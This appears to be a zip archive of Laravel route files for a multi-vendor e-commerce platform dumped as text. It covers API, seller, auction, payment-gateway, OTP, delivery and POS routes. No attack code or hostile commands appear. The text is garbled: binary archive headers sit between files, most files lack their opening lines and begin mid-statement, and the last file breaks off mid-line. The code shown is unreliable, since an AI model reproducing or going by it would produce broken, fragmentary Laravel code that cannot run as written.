Route::get('policies/return', 'App\Http\Controllers\Api\V2\PolicyController@returnPolicy')->name('policies.return'); Route::post('get-user-by-access_token', 'App\Http\Controllers\Api\V2\UserController@getUserInfoByAccessToken'); Route::get('cities', 'App\Http\Controllers\Api\V2\AddressController@getCities'); Route::get('states', 'App\Http\Controllers\Api\V2\AddressController@getStates'); Route::get('countries', 'App\Http\Controllers\Api\V2\AddressController@getCountries'); Route::get('areas-by-city/{city_id}', 'App\Http\Controllers\Api\V2\AddressController@getAreasByCity'); Route::get('cities-by-state/{state_id}', 'App\Http\Controllers\Api\V2\AddressController@getCitiesByState'); Route::get('cities-by-country/{country_id}', 'App\Http\Controllers\Api\V2\AddressController@getCitiesByCountry'); Route::get('states-by-country/{country_id}', 'App\Http\Controllers\Api\V2\AddressController@getStatesByCountry'); // Route::post('coupon/apply', 'App\Http\Controllers\Api\V2\CouponController@apply')->middleware('auth:sanctum'); Route::any('stripe', 'App\Http\Controllers\Api\V2\StripeController@stripe'); Route::any('stripe/payment/callback', 'App\Http\Controllers\Api\V2\StripeController@callback')->name('api.stripe.callback'); Route::any('paypal/payment/url', 'App\Http\Controllers\Api\V2\PaypalController@getUrl')->name('api.paypal.url'); Route::any('amarpay', [AamarpayController::class, 'pay'])->name('api.amarpay.url'); Route::any('khalti/payment/pay', 'App\Http\Controllers\Api\V2\KhaltiController@pay')->name('api.khalti.url'); Route::any('razorpay/pay-with-razorpay', 'App\Http\Controllers\Api\V2\RazorpayController@payWithRazorpay')->name('api.razorpay.payment'); Route::any('razorpay/payment', 'App\Http\Controllers\Api\V2\RazorpayController@payment')->name('api.razorpay.payment'); Route::any('paystack/init', 'App\Http\Controllers\Api\V2\PaystackController@init')->name('api.paystack.init'); Route::any('iyzico/init', 'App\Http\Controllers\Api\V2\IyzicoController@init')->name('api.iyzico.init'); Route::get('bkash/api/webpage/{token}/{amount}', 'App\Http\Controllers\Api\V2\BkashController@webpage')->name('api.bkash.webpage'); Route::any('bkash/api/execute/{token}', 'App\Http\Controllers\Api\V2\BkashController@execute')->name('api.bkash.execute'); Route::any('bkash/api/fail', 'App\Http\Controllers\Api\V2\BkashController@fail')->name('api.bkash.fail'); Route::post('bkash/api/process', 'App\Http\Controllers\Api\V2\BkashController@process')->name('api.bkash.process'); Route::any('nagad/verify/{payment_type}', 'App\Http\Controllers\Api\V2\NagadController@verify')->name('app.nagad.callback_url'); Route::post('nagad/process', 'App\Http\Controllers\Api\V2\NagadController@process'); Route::get('sslcommerz/begin', 'App\Http\Controllers\Api\V2\SslCommerzController@begin'); Route::any('flutterwave/payment/url', 'App\Http\Controllers\Api\V2\FlutterwaveController@getUrl')->name('api.flutterwave.url'); Route::any('paytm/payment/pay', 'App\Http\Controllers\Api\V2\PaytmController@pay')->name('api.paytm.pay'); Route::get('instamojo/pay', 'App\Http\Controllers\Api\V2\InstamojoController@pay'); Route::get('payfast/initiate', 'App\Http\Controllers\Api\V2\PayfastController@pay'); Route::get('/myfatoorah/initiate', 'App\Http\Controllers\Api\V2\MyfatoorahController@pay'); Route::get('phonepe/payment/pay', 'App\Http\Controllers\Api\V2\PhonepeController@pay'); Route::get('/phonepe-credentials', 'App\Http\Controllers\Api\V2\PhonepeController@getPhonePayCredentials')->name('api.phonepe.credentials'); Route::post('offline/payment/submit', 'App\Http\Controllers\Api\V2\OfflinePaymentController@submit')->name('api.offline.payment.submit'); Route::controller(BlogController::class)->group(function () { Route::get('blog-list', 'blog_list'); Route::get('blog-details/{slug}', 'blog_details'); }); // Route::controller(WholesaleProductController::class)->group(function () { // Route::get('/wholesale/all-products', 'all_wholesale_products')->name('wholesale_products.all'); // }); Route::get('flash-deals', 'App\Http\Controllers\Api\V2\FlashDealController@index'); Route::get('flash-deals-banners', 'App\Http\Controllers\Api\V2\FlashDealController@banners'); Route::get('flash-deals/info/{slug}', 'App\Http\Controllers\Api\V2\FlashDealController@info'); Route::get('flash-deal-products/{id}', 'App\Http\Controllers\Api\V2\FlashDealController@products'); //Addon list Route::get('addon-list', 'App\Http\Controllers\Api\V2\ConfigController@addon_list'); //Activated social login list Route::get('activated-social-login', 'App\Http\Controllers\Api\V2\ConfigController@activated_social_login'); //Business Sttings list Route::post('business-settings', 'App\Http\Controllers\Api\V2\ConfigController@business_settings'); //Pickup Point list Route::get('pickup-list', 'App\Http\Controllers\Api\V2\ShippingController@pickup_list'); Route::withoutMiddleware([EnsureSystemKey::class])->group(function () { Route::controller(WholesaleProductController::class)->group(function () { Route::get('/wholesale/all-products', 'all_wholesale_products')->name('wholesale_products.all'); Route::get('/wholesale/product-details/{id}', 'wholesale_product_details')->name('wholesale_products.show'); }); Route::get('google-recaptcha', function () { return view("frontend.google_recaptcha.app_recaptcha"); }); Route::any('paypal/payment/done', 'App\Http\Controllers\Api\V2\PaypalController@getDone')->name('api.paypal.done'); Route::any('paypal/payment/cancel', 'App\Http\Controllers\Api\V2\PaypalController@getCancel')->name('api.paypal.cancel'); Route::any('amarpay/success', [AamarpayController::class, 'success'])->name('api.amarpay.success'); Route::any('amarpay/cancel', [AamarpayController::class, 'fail'])->name('api.amarpay.cancel'); Route::any('khalti/payment/success', 'App\Http\Controllers\Api\V2\KhaltiController@paymentDone')->name('api.khalti.success'); Route::any('khalti/payment/cancel', 'App\Http\Controllers\Api\V2\KhaltiController@getCancel')->name('api.khalti.cancel'); Route::any('razorpay/success', 'App\Http\Controllers\Api\V2\RazorpayController@payment_success')->name('api.razorpay.success'); Route::post('paystack/success', 'App\Http\Controllers\Api\V2\PaystackController@payment_success')->name('api.paystack.success'); Route::any('iyzico/callback', 'App\Http\Controllers\Api\V2\IyzicoController@callback')->name('api.iyzico.callback'); Route::post('iyzico/success', 'App\Http\Controllers\Api\V2\IyzicoController@payment_success')->name('api.iyzico.success'); Route::any('bkash/api/callback', 'App\Http\Controllers\Api\V2\BkashController@callback')->name('api.bkash.callback'); Route::post('bkash/api/success', 'App\Http\Controllers\Api\V2\BkashController@payment_success')->name('api.bkash.success'); Route::any('bkash/api/checkout/{token}/{amount}', 'App\Http\Controllers\Api\V2\BkashController@checkout')->name('api.bkash.checkout'); Route::any('stripe/create-checkout-session', 'App\Http\Controllers\Api\V2\StripeController@create_checkout_session')->name('api.stripe.get_token'); Route::get('stripe/success', 'App\Http\Controllers\Api\V2\StripeController@payment_success'); Route::any('stripe/cancel', 'App\Http\Controllers\Api\V2\StripeController@cancel')->name('api.stripe.cancel'); Route::any('sslcommerz/success', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_success'); Route::any('sslcommerz/fail', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_fail'); Route::any('sslcommerz/cancel', 'App\Http\Controllers\Api\V2\SslCommerzController@payment_cancel'); Route::any('flutterwave/payment/callback', 'App\Http\Controllers\Api\V2\FlutterwaveController@callback')->name('api.flutterwave.callback'); Route::any('paytm/payment/callback', 'App\Http\Controllers\Api\V2\PaytmController@callback')->name('api.paytm.callback'); Route::get('instamojo/success', 'App\Http\Controllers\Api\V2\InstamojoController@success'); Route::get('instamojo/failed', 'App\Http\Controllers\Api\V2\InstamojoController@failed'); // Cybersource Route::post('cyber-source/payment/pay', 'App\Http\Controllers\Api\V2\CybersourceController@pay')->name('cybersource.pay'); Route::any('cyber-source/payment/process', 'App\Http\Controllers\Api\V2\CybersourceController@process')->name('cybersource.process'); Route::any('cyber-source/payment/callback', 'App\Http\Controllers\Api\V2\CybersourceController@callback')->name('cybersource.callback'); Route::any('cyber-source/payment/webhook', 'App\Http\Controllers\Api\V2\CybersourceController@webhook')->name('cybersource.webhook'); //Payfast routes Route::controller(PayfastController::class)->group(function () { Route::any('/payfast/notify', 'payfast_notify')->name('api.payfast.notify'); Route::any('/payfast/return', 'payfast_return')->name('api.payfast.return'); Route::any('/payfast/cancel', 'payfast_cancel')->name('api.payfast.cancel'); }); //Payfast routes Route::get('/myfatoorah/callback', 'App\Http\Controllers\Api\V2\MyfatoorahController@callback')->name('api.myfatoorah.callback'); Route::any('/phonepe/redirecturl', 'App\Http\Controllers\Api\V2\PhonepeController@phonepe_redirecturl')->name('api.phonepe.redirecturl'); Route::any('/phonepe/callbackUrl', 'App\Http\Controllers\Api\V2\PhonepeController@phonepe_callbackUrl')->name('api.phonepe.callbackUrl'); }); // customer file upload Route::controller(CustomerFileUploadController::class)->middleware('auth:sanctum')->group(function () { Route::post('file/upload', 'upload'); Route::get('file/all', 'index'); Route::get('file/delete/{id}', 'destroy'); }); //PageController for dynamic pages Route::controller(PageController::class)->group(function () { Route::get('get-page', 'get_page_data'); }); }); Route::fallback(function () { return response()->json([ 'data' => [], 'success' => false, 'status' => 404, 'message' => 'Invalid Route' ]); }); PKÌN]q¯¯api_seller.phpnu„[µü¤ 'v2/seller', 'middleware' => ['app_language']], function () { Route::middleware(['auth:sanctum'])->group(function () { //Order Section Route::controller(OrderController::class)->group(function () { Route::get('orders', 'getOrderList'); Route::get('orders/details/{id}', 'getOrderDetails'); Route::post('orders/items/{id}', 'getOrderItems'); Route::post('orders/update-delivery-status', 'update_delivery_status'); Route::post('orders/update-payment-status', 'update_payment_status'); // Route::apiResource('shops', 'App\Http\Controllers\Api\V2\ShopController')->only('index'); }); //Shop Section Route::controller(ShopController::class)->group(function () { Route::get('payment-history', 'payment_histories'); Route::get('commission-list', 'collection_histories'); Route::get('profile', 'profile'); Route::get('dashboard/category-wise-products', 'category_wise_products'); Route::get('dashboard/sales-stat', 'sales_stat'); Route::get('dashboard/top-12-product', 'top_12_products'); Route::get('dashboard/dashboard-counters', 'app_dashboard_counters'); Route::get('shop/info', 'info'); Route::get('package/info', 'pacakge'); Route::post('shop-update', 'update'); Route::get('shop-verify-form', 'getVerifyForm'); Route::post('shop-verify-info-store', 'store_verify_info'); }); //Refund Section Route::controller(RefundController::class)->group(function () { Route::get('refunds', 'index'); Route::post('refunds/approve', 'request_approval_vendor'); Route::post('refunds/reject', 'reject_refund_request'); }); //Withdraw Request Section Route::controller(WithdrawRequestController::class)->group(function () { Route::get('withdraw-request', 'index'); Route::post('withdraw-request/store', 'store'); }); //Product Section Route::controller(ProductController::class)->group(function () { Route::get('products/all', 'index'); Route::get('products/categories', 'getCategory'); Route::get('products/brands', 'getBrands'); Route::get('products/taxes', 'getTaxes'); Route::get('products/attributes', 'getAttributes'); Route::get('products/colors', 'getColors'); Route::post('products/add', 'store'); Route::get('products/edit/{id}', 'edit'); Route::post('products/update/{product}', 'update'); Route::post('product/change-featured', 'change_featured_status'); Route::post('product/change-status', 'change_status'); Route::get('product/duplicate/{id}', 'duplicate'); Route::get('product/delete/{id}', 'destroy'); Route::get('products/remaining-uploads', 'remainingUploads'); Route::get('products/reviews', 'product_reviews'); Route::post('product/search', 'productSearch'); }); //Product Query Section Route::controller(ProductQueryController::class)->group(function () { Route::get('products/queries', 'product_queries'); Route::get('products/query-show/{id}', 'product_queries_show'); Route::post('products/query-reply/{id}', 'product_queries_reply'); }); // Digital Product Section Route::controller(DigitalProductController::class)->group(function () { Route::get('digital-products', 'index'); Route::get('digital-products/categories', 'getCategory'); Route::post('digital-products/store', 'store'); Route::get('digital-products/edit/{id}', 'edit'); Route::post('digital-products/update/{product}', 'update'); Route::get('digital-products/destroy/{id}', 'destroy'); Route::get('digital-products/download/{id}', 'download'); }); //Whole Sale Product Section Route::controller(WholesaleProductController::class)->group(function () { Route::get('wholesale-products', 'wholesale_products'); Route::post('wholesale-product/create', 'product_store'); Route::get('wholesale-product/edit/{id}', 'product_edit'); Route::post('wholesale-product/update/{id}', 'product_update'); Route::get('wholesale-product/destroy/{id}', 'product_destroy'); }); // Auction Product Section Route::controller(SellerAuctionProductController::class)->group(function () { Route::get('auction-products', 'index'); Route::post('auction-products/create', 'store'); Route::get('auction-products/edit/{id}', 'edit'); Route::post('auction-products/update/{id}', 'update'); Route::get('auction-product-bids/edit/{id}', 'productBids'); Route::get('/auction-product-bids/destroy/{id}', 'bidDestroy'); Route::get('auction-products/orders', 'getAuctionOrderList'); }); //Coupon Section Route::controller(CouponController::class)->group(function () { Route::get('coupon/all', 'index'); Route::post('coupon/create', 'store'); Route::get('coupon/edit/{id}', 'edit'); Route::get('coupon/delete/{id}', 'destroy'); Route::post('coupon/update/{coupon}', 'update'); Route::get('coupon/for-product', 'coupon_for_product'); }); //Conversations Route::controller(ConversationController::class)->group(function () { Route::get('conversations', 'index'); Route::get('conversations/show/{id}', 'showMessages'); Route::post('conversations/message/store', 'send_message_to_customer'); }); //Seller Package Route::controller(SellerPackageController::class)->group(function () { Route::get('seller-packages-list', 'seller_packages_list'); Route::post('seller-package/offline-payment', 'purchase_package_offline'); Route::post('seller-package/free-package', 'purchase_free_package'); }); //Seller File Upload Route::controller(SellerFileUploadController::class)->group(function () { Route::post('file/upload', 'upload'); Route::get('file/all', 'index'); Route::get('file/delete/{id}', 'destroy'); }); // ... // POS Route::controller(PosController::class)->group(function () { Route::get('pos/products', 'productsList'); Route::get('pos/get-customers', 'getCustomers'); Route::post('pos/update-session-user', 'updateSessionUser'); Route::get('pos/get-shipping_address/{id}', 'getShippingAddress'); Route::post('pos/create-shipping-address', 'createShippingAddress'); Route::post('pos/add-to-cart', 'addToCart'); Route::post('pos/update-cart', 'updateQuantity'); Route::get('pos/delete-cart/{id}', 'removeFromCart'); Route::post('pos/order-place', 'orderStore'); Route::post('pos/user-cart-data', 'getUserCartData'); Route::get('pos/configuration', 'posConfiguration'); Route::post('pos/configuration/update', 'posConfigurationUpdate'); }); }); // Route::post('shops/create', [ShopController::class, 'store']); }); PKÌN]K®Tm¯¯ auction.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ // Auction product lists Route::controller(AuctionProductController::class)->group(function () { Route::get('auction/all-products', 'all_auction_product_list')->name('auction.all_products'); Route::get('auction/inhouse-products', 'inhouse_auction_products')->name('auction.inhouse_products'); Route::get('auction/seller-products', 'seller_auction_products')->name('auction.seller_products'); Route::get('/auction-product/create', 'product_create_admin')->name('auction_product_create.admin'); Route::post('/auction-product/store', 'product_store_admin')->name('auction_product_store.admin'); Route::get('/auction_products/edit/{id}', 'product_edit_admin')->name('auction_product_edit.admin'); Route::post('/auction_products/update/{id}', 'product_update_admin')->name('auction_product_update.admin'); Route::get('/auction_products/destroy/{id}', 'product_destroy_admin')->name('auction_product_destroy.admin'); // Sales Route::get('/auction_products-orders', 'admin_auction_product_orders')->name('auction_products_orders'); }); Route::controller(AuctionProductBidController::class)->group(function () { Route::get('/product-bids/{id}', 'product_bids_admin')->name('product_bids.admin'); Route::get('/product-bids/destroy/{id}', 'bid_destroy_admin')->name('product_bids_destroy.admin'); }); }); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user']], function() { Route::controller(AuctionProductController::class)->group(function () { Route::get('/auction_products', 'auction_product_list_seller')->name('auction_products.seller.index'); Route::get('/auction-product/create', 'product_create_seller')->name('auction_product_create.seller'); Route::post('/auction-product/store', 'product_store_seller')->name('auction_product_store.seller'); Route::get('/auction_products/edit/{id}', 'product_edit_seller')->name('auction_product_edit.seller'); Route::post('/auction_products/update/{id}', 'product_update_seller')->name('auction_product_update.seller'); Route::get('/auction_products/destroy/{id}', 'product_destroy_seller')->name('auction_product_destroy.seller'); Route::get('/auction_products-orders', 'seller_auction_product_orders')->name('auction_products_orders.seller'); }); Route::controller(AuctionProductBidController::class)->group(function () { Route::get('/product-bids/{id}', 'product_bids_seller')->name('product_bids.seller'); Route::get('/product-bids/destroy/{id}', 'bid_destroy_seller')->name('product_bids_destroy.seller'); }); }); Route::group(['middleware' => ['auth']], function() { Route::resource('auction_product_bids', AuctionProductBidController::class); Route::post('/auction/cart/show-cart-modal', [CartController::class, 'showCartModalAuction'])->name('auction.cart.showCartModal'); Route::get('/auction/purchase_history', [AuctionProductController::class, 'purchase_history_user'])->name('auction_product.purchase_history'); }); Route::post('/home/section/auction_products', [HomeController::class, 'load_auction_products_section'])->name('home.section.auction_products'); Route::controller(AuctionProductController::class)->group(function () { Route::get('/auction-product/{slug}', 'auction_product_details')->name('auction-product'); Route::get('/auction-products', 'all_auction_products')->name('auction_products.all'); }); PKÌN]UÍI¯   channels.phpnu„[µü¤id === (int) $id; }); PKÌN]ªÐƒWwwclub_points.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(ClubPointController::class)->group(function () { Route::get('club-points/configuration', 'configure_index')->name('club_points.configs'); Route::post('business-settings/point-convert-rate-store', 'updateBusinessSettings')->name('business_settings.point_convert_rate_store'); Route::get('club-points/index', 'index')->name('club_points.index'); Route::get('set-club-points', 'set_point')->name('set_product_points'); Route::post('set-club-points/store', 'set_products_point')->name('set_products_point.store'); Route::post('set-club-points-for-all_products/store', 'set_all_products_point')->name('set_all_products_point.store'); Route::get('set-club-points/{id}', 'set_point_edit')->name('product_club_point.edit'); Route::get('club-point-details/{id}', 'club_point_detail')->name('club_point.details'); Route::post('set-club-points/update/{id}', 'update_product_point')->name('product_point.update'); Route::post('club-point-convert-rate/store', 'convert_rate_store')->name('point_convert_rate_store'); Route::post('club-point-for-review/store', 'point_for_review_store')->name('point_for_review_store'); }); }); //FrontEnd Route::group(['middleware' => ['user', 'verified']], function(){ Route::controller(ClubPointController::class)->group(function () { Route::get('earning-points', 'userpoint_index')->name('earnng_point_for_user'); Route::post('convert-point-into-wallet', 'convert_point_into_wallet')->name('convert_point_into_wallet'); }); }); PKÌN]wq‚;; console.phpnu„[µü¤comment(Inspiring::quote()); })->describe('Display an inspiring quote'); PKÌN]¿6kçsscybersource.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(CybersourceSettingController::class)->group(function () { Route::get('/cybersource-configuration', 'configuration')->name('cybersource_configuration'); }); });PKÌN]FP P delivery_boy.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin', 'prevent-back-history']], function(){ //Delivery Boy Route::resource('delivery-boys', DeliveryBoyController::class); Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/delivery-boy/ban/{id}', 'ban')->name('delivery-boy.ban'); Route::get('/delivery-boy-configuration', 'delivery_boy_configure')->name('delivery-boy-configuration'); Route::post('/delivery-boy/order-collection', 'order_collection_form')->name('delivery-boy.order-collection'); Route::post('/collection-from-delivery-boy', 'collection_from_delivery_boy')->name('collection-from-delivery-boy'); Route::post('/delivery-boy/delivery-earning', 'delivery_earning_form')->name('delivery-boy.delivery-earning'); Route::post('/paid-to-delivery-boy', 'paid_to_delivery_boy')->name('paid-to-delivery-boy'); Route::get('/delivery-boys-payment-histories', 'delivery_boys_payment_histories')->name('delivery-boys-payment-histories'); Route::get('/delivery-boys-collection-histories', 'delivery_boys_collection_histories')->name('delivery-boys-collection-histories'); Route::get('/delivery-boy/cancel-request', 'cancel_request_list')->name('delivery-boy.cancel-request'); }); }); Route::group(['middleware' => ['user', 'verified', 'unbanned', 'prevent-back-history']], function() { Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/assigned-deliveries', 'assigned_delivery')->name('assigned-deliveries'); Route::get('/pickup-deliveries', 'pickup_delivery')->name('pickup-deliveries'); Route::get('/on-the-way-deliveries', 'on_the_way_deliveries')->name('on-the-way-deliveries'); Route::get('/completed-deliveries', 'completed_delivery')->name('completed-deliveries'); Route::get('/pending-deliveries', 'pending_delivery')->name('pending-deliveries'); Route::get('/cancelled-deliveries', 'cancelled_delivery')->name('cancelled-deliveries'); Route::get('/total-collections', 'total_collection')->name('total-collection'); Route::get('/total-earnings', 'total_earning')->name('total-earnings'); Route::get('/cancel-request/{id}', 'cancel_request')->name('cancel-request'); Route::get('/cancel-request-list', 'delivery_boys_cancel_request_list')->name('cancel-request-list'); }); Route::controller(OrderController::class)->group(function () { Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('delivery-boy.orders.update_delivery_status'); }); Route::controller(DeliveryBoyController::class)->group(function () { Route::get('/delivery-boy/order-detail/{id}', 'order_detail')->name('delivery-boy.order-detail'); }); }); PKÌN]~l6•__gst.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(GSTController::class)->group(function () { Route::get('/gst-unverified-sellers', 'unverified_sellers')->name('gst.unverified.sellers'); Route::post('/gst-verify-seller', 'verify_seller')->name('gst.verify.seller'); Route::get('/product-hsn-gst-assign', 'hsn_gst_assign')->name('products.hsn-gst.assigns'); Route::get('/wholesale-product-hsn-gst-assign', 'wholesale_hsn_gst_assign')->name('products.wholesale-hsn-gst.assigns'); Route::get('/auction-product-hsn-gst-assign', 'auction_hsn_gst_assign')->name('products.auction-hsn-gst.assigns'); Route::get('/preorder-product-hsn-gst-assign', 'preorder_hsn_gst_assign')->name('products.preorder-hsn-gst.assigns'); Route::post('/products-hsn-gst-single-update', 'updateHsnGstRate')->name('products.single-hsn-gst.update'); Route::post('/bulk-product-gst-assign', 'updateBulkHsnGstRate')->name('products.bulk-product-gst-assign'); Route::get('/products/gst/products/{type}', 'get_filter_products')->name('products.gst.filter'); }); }); PKÌN]¨v–?? install.phpnu„[µü¤group(function () { Route::get('/', 'step0'); Route::get('/step1', 'step1')->name('step1'); Route::get('/step2', 'step2')->name('step2'); Route::get('/step3/{error?}', 'step3')->name('step3'); Route::get('/step4', 'step4')->name('step4'); Route::get('/step5', 'step5')->name('step5'); Route::post('/database_installation', 'database_installation')->name('install.db'); Route::get('import_sql', 'import_sql')->name('import_sql'); Route::get('import_sql_with_demo', 'import_sql_with_demo')->name('import_sql_with_demo'); Route::post('system_settings', 'system_settings')->name('system_settings'); Route::post('purchase_code', 'purchase_code')->name('purchase.code'); }); PKÌN]Áœë-ááoffline_payment.phpnu„[µü¤'admin', 'middleware' => ['auth', 'admin']], function(){ Route::resource('manual_payment_methods', ManualPaymentMethodController::class); Route::get('/manual_payment_methods/destroy/{id}', [ManualPaymentMethodController::class, 'destroy'])->name('manual_payment_methods.destroy'); // Offile Orders Route::get('/offline-payment-orders', [OrderController::class, 'all_orders'])->name('offline_payment_orders.index'); // Wallet Recharge Request Route::get('/offline-wallet-recharge-requests', [WalletController::class, 'offline_recharge_request'])->name('offline_wallet_recharge_request.index'); Route::post('/offline-wallet-recharge/approved', [WalletController::class, 'updateApproved'])->name('offline_recharge_request.approved'); Route::get('/requests-filter', [WalletController::class, 'filter_request'])->name('requests.filter'); Route::post('/bulk-wallet-requests-approve', [WalletController::class, 'bulk_approve'])->name('bulk-wallet-requests-approve'); // Seller Package purchase request Route::get('/offline-seller-package-payment-requests', [SellerPackagePaymentController::class, 'offline_payment_request'])->name('offline_seller_package_payment_request.index'); Route::post('/offline-seller-package-payment/approved', [SellerPackagePaymentController::class, 'offline_payment_approval'])->name('offline_seller_package_payment.approved'); // customer package purchase request Route::get('/offline-customer-package-payment-requests', [CustomerPackagePaymentController::class, 'offline_payment_request'])->name('offline_customer_package_payment_request.index'); Route::post('/offline-customer-package-payment/approved', [CustomerPackagePaymentController::class, 'offline_payment_approval'])->name('offline_customer_package_payment.approved'); Route::post('/wallet-recharge/modal', [ManualPaymentMethodController::class, 'wallet_recharge_modal'])->name('admin_offline_wallet_recharge_modal'); Route::post('/wallet-recharge/make-payment', [ManualPaymentMethodController::class, 'wallet_recharge_make_payment'])->name('admin_wallet_recharge.make_payment'); // Refund Method For Customer Route::controller(OfflinePayoutMethodController::class)->group(function () { Route::get('/refund-method-for-customer-index', 'index')->name('payout_method_for_customer_index'); Route::get('/refund-method-for-customer-create', 'create')->name('payout_method_for_customer_create'); Route::post('/refund-method-for-customer-store', 'store')->name('payout_method_for_customer_store'); Route::get('/refund-method-for-customer-filter', 'filter')->name('payout_method_for_customer_filter'); Route::get('/refund-method-for-customer-edit/{id}', 'edit')->name('payout_method_for_customer_edit'); Route::post('/refund-method-for-customer-update/{id}', 'update')->name('payout_method_for_customer_update'); Route::get('/refund-method-for-customer-delete/{id}', 'delete')->name('payout_method_for_customer_delete'); Route::post('/refund-method-for-customer-bulk-delete', 'bulk_delete')->name('payout_method_for_customer_bulk_delete'); }); }); //FrontEnd Route::post('/purchase_history/make_payment/submit', [ManualPaymentMethodController::class, 'submit_offline_payment'])->name('purchase_history.make_payment'); Route::post('/offline-wallet-recharge-modal', [ManualPaymentMethodController::class, 'offline_recharge_modal'])->name('offline_wallet_recharge_modal'); Route::group(['middleware' => ['user', 'verified']], function(){ Route::post('/offline-wallet-recharge', [WalletController::class, 'offline_recharge'])->name('wallet_recharge.make_payment'); Route::get('/payment-receipt/show/{id}', [ManualPaymentMethodController::class, 'payment_receipt_show'])->name('payment_receipt.show'); }); // customer package purchase Route::post('/offline-customer-package-purchase-modal', [ManualPaymentMethodController::class, 'offline_customer_package_purchase_modal'])->name('offline_customer_package_purchase_modal'); Route::post('/offline-customer-package-paymnet', [CustomerPackageController::class, 'purchase_package_offline'])->name('customer_package.make_offline_payment'); // Order Re-Payments Route::post('/offline-order-re-payment-modal', [ManualPaymentMethodController::class, 'offline_order_re_payment_modal'])->name('offline_order_re_payment_modal'); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user'], 'as' => 'seller.'], function () { // Seller Package purchase Route::post('/offline-seller-package-purchase-modal', [ManualPaymentMethodController::class, 'offline_seller_package_purchase_modal'])->name('offline_seller_package_purchase_modal'); Route::post('/offline-seller-package-paymnet',[SellerPackageController::class, 'purchase_package_offline'])->name('make_offline_payment'); }); PKÌN]ÿSÖí í otp.phpnu„[µü¤group(function () { Route::get('/verification', 'verification')->name('verification'); Route::post('/verification', 'verify_phone')->name('verification.submit'); Route::get('/verification/phone/code/resend', 'resend_verificcation_code')->name('verification.phone.resend'); //Forgot password phone Route::get('/password/phone/reset', 'show_reset_password_form')->name('password.phone.form'); Route::post('/password/reset/submit', 'reset_password_with_code')->name('password.update.phone'); // Send OTP Route::post('/send-otp', 'sendOtp')->name('send-otp'); Route::get('/otp-verification', 'otpVerificationPage')->name('otp-verification-page'); Route::get('/resend-otp/{phone}', 'resendOtp')->name('resend-otp'); Route::post('/validate-otp-code', 'validateOtpCode')->name('validate-otp-code'); Route::post('/activate-otp-for-cashOnDelivery-and-wallet', 'activate_otp_for_cashOnDelivery_and_wallet')->name('activate_otp_for_cashOnDelivery_and_wallet'); Route::post('/checkout/send-purchase-otp', 'sendPurchaseOtp')->name('checkout.send_purchase_otp'); Route::post('/checkout/verify-purchase-otp', 'verifyPurchaseOtp')->name('checkout.verify_purchase_otp'); }); //Admin Route::group(['prefix' =>'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(OTPController::class)->group(function () { Route::get('/otp-login-configuration', 'loginConfigure')->name('otp.login_configuration'); Route::get('/otp-configuration', 'configure_index')->name('otp.configconfiguration'); Route::post('/otp-configuration/update/activation', 'updateActivationSettings')->name('otp_configurations.update.activation'); Route::post('/otp-credentials-update', 'update_credentials')->name('update_credentials'); }); //Messaging Route::controller(SmsController::class)->group(function () { Route::get('/sms', 'index')->name('sms.index'); Route::post('/sms-send', 'send')->name('sms.send'); }); Route::resource('sms-templates', SmsTemplateController::class); }); PKÌN]°¦‹È44 pathao.phpnu„[µü¤ 'admin', 'middleware' => ['auth', 'admin']], function () { Route::controller(PathaoController::class)->group(function () { Route::post('/pathao-settings-update', 'pathao_update')->name('pathao.update'); Route::get('/pathao/all-store', 'allStore')->name('pathao.all.store'); Route::post('/pathao/order-create', 'createOrder')->name('pathao.create.order'); }); }); Route::controller(PathaoController::class)->group(function () { //for cron job Route::get('/pathao/delivery-status', 'deliveryStatus')->name('pathao.delivery-status'); });PKÌN]ž ÏòŒŒ paytm.phpnu„[µü¤group(function () { Route::get('/paytm/index', 'pay'); Route::post('/paytm/callback', 'callback')->name('paytm.callback'); }); //Admin Route::group(['prefix' =>'admin', 'middleware' => ['auth', 'admin']], function(){ Route::controller(PaytmController::class)->group(function () { Route::get('/paytm_configuration', 'credentials_index')->name('paytm.index'); Route::post('/paytm_configuration_update', 'update_credentials')->name('paytm.update_credentials'); }); }); //Toyyibpay Route::controller(ToyyibpayController::class)->group(function () { Route::get('toyyibpay-status', 'paymentstatus')->name( 'toyyibpay-status'); Route::post('/toyyibpay-callback', 'callback')->name( 'toyyibpay-callback'); }); //Myfatoorah START Route::get('/myfatoorah/callback', [MyfatoorahController::class,'callback'])->name('myfatoorah.callback'); //Khalti START Route::any('/khalti/payment/done', [KhaltiController::class,'paymentDone'])->name('khalti.success'); // phonepe Route::controller(PhonepeController::class)->group(function () { Route::any('/phonepe/pay', 'pay')->name('phonepe.pay'); Route::any('/phonepe/redirecturl', 'phonepe_redirecturl')->name('phonepe.redirecturl'); Route::any('/phonepe/callbackUrl', 'phonepe_callbackUrl')->name('phonepe.callbackUrl'); }); PKÌN]ø~is>>pos.phpnu„[µü¤group(function () { }); //Admin Route::group(['prefix' => 'admin', 'middleware' => ['auth', 'admin']], function () { //pos Route::controller(PosController::class)->group(function () { Route::get('/pos', 'index')->name('poin-of-sales.index'); Route::get('/pos/products', 'search')->name('pos.search_product'); Route::post('/add-to-cart-pos', 'addToCart')->name('pos.addToCart'); Route::post('/update-quantity-cart-pos', 'updateQuantity')->name('pos.updateQuantity'); Route::post('/remove-from-cart-pos', 'removeFromCart')->name('pos.removeFromCart'); Route::post('/update-session-user-cart-data', 'updateSessionUserCartData')->name('pos.updateSessionUserCartData'); Route::post('/get_shipping_address', 'getShippingAddress')->name('pos.getShippingAddress'); Route::post('/setDiscount', 'setDiscount')->name('pos.setDiscount'); Route::post('/setShipping', 'setShipping')->name('pos.setShipping'); Route::post('/set-shipping-address', 'set_shipping_address')->name('pos.set-shipping-address'); Route::post('/pos-order-summary', 'get_order_summary')->name('pos.getOrderSummary'); Route::post('/pos-order', 'order_store')->name('pos.order_place'); Route::get('/pos-activation', 'configuration')->name('poin-of-sales.activation'); Route::get('/pos/thermal-printer/{order_id}', 